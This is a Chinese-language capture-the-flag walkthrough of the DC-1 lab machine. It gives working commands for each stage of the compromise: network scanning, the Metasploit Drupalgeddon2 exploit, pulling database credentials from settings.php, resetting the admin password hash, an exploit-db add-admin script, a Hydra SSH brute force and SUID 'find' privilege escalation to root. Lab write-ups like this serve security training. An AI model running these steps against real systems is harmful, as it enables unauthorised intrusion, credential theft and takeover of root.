【DC】DC-1
kali:192.168.223.131
target:192.168.223.155
由於放在同一個虛擬機器下預設在內網,但DC系列沒有告訴我們IP地址,需要掃一下
arp-scan -l
發現IP地址為192.168.223.155
,之後nmap掃描埠
nmap -sV -p- 192.168.223.155
-sV:探測開啟的埠來獲取服務、版本資訊
-p-:全部1-65535埠
此時探測出的埠如圖,先瀏覽一下80埠
Drupal是一個很出名的CMS,我們可以使用msfconsole進行漏洞搜尋
如果msf打不開可以
msfdb init
進行初始化
msfconsole //搜尋Drupal漏洞一共多少種 search Drupal
經過測試,序號1的漏洞有效,可以進行API注入
use exploit/unix/webapp/drupal_drupalgeddon2
使用該漏洞後自動使用一個php的攻擊載荷,看一下我們的選項
show options
這裡顯示只要再配置一個RHOSTS即可
set rhosts 192.168.223.155
exploit
此時msf自動尋找漏洞,同時目標上線,此時shell
拿到許可權,ls
檢視資料夾獲得flag1
此時通過百度可知,Drupal的CMS有個關鍵目錄,預設在/var/www/sites/default/settings.php
,發現是mysql資料庫使用者名稱和密碼為dbuser和R0ck3t,以及flag2
cat /var/www/sites/default/settings.php
在此之前,習慣性的美化一下介面
python -c 'import pty;pty.spawn("/bin/bash")'
通過mysql進行連線
mysql -udbuser -pR0ck3t
進入後一直找到admin使用者儲存資料的表
show databases;
use drupaldb;
show tables;
select * from users
此時有兩種方法進行後續操作
方法一:在資料庫建立管理員級別的使用者
需要是在Linux平臺下搭建的drupal
Linux平臺下的drupal在密碼忘記時用php執行目錄,可以使用drupal的密碼生成工具自動生成密碼
php scripts/password-hash.sh [密碼]
退出mysql來生成,生成後再進去
此時通過改命令將管理員賬號的密碼修改成自己的
update users set pass='[密碼的hash值]' where name='admin';
自定義密碼為haha123,hash值為$S$D5cRz.3zYu7y0H2gazZbofPi9YPj1VV0Cl9P0j1OsaMqq2IbJQln
方法二:用漏洞建立一個使用者
在漏洞列表中尋找漏洞,找到一個Add Admin User的payload
searchsploit drupal
退出msf後利用漏洞
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.223.155 -u [使用者名稱] -p [密碼]
此時用上面兩種方法登陸到後臺,拿到flag3
這時檢視一下/etc/passwd,發現有一個flag4的使用者,而/etc/shadow則沒有許可權訪問
使用hydra進行密碼破解,拿到flag4使用者的密碼是orange
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt 192.168.223.155 ssh
用ssh進行連線,拿到flag4
ssh [email protected]
通過flag4的提示,看起來第五個flag要root許可權,檢視一下/root裡面有什麼
find /root
Linux提權命令,發現有什麼東西可以以root許可權執行,找到/usr/bin/find
命令
find / -perm -u=s -type f 2>/dev/null
建立一個檔案,同時在查詢的同時執行/bin/sh,拿到第五個flag
touch haha
find / -name haha -exec "/bin/sh" \;
這裡是利用find命令可以執行root許可權進行Linux提權,記下來就行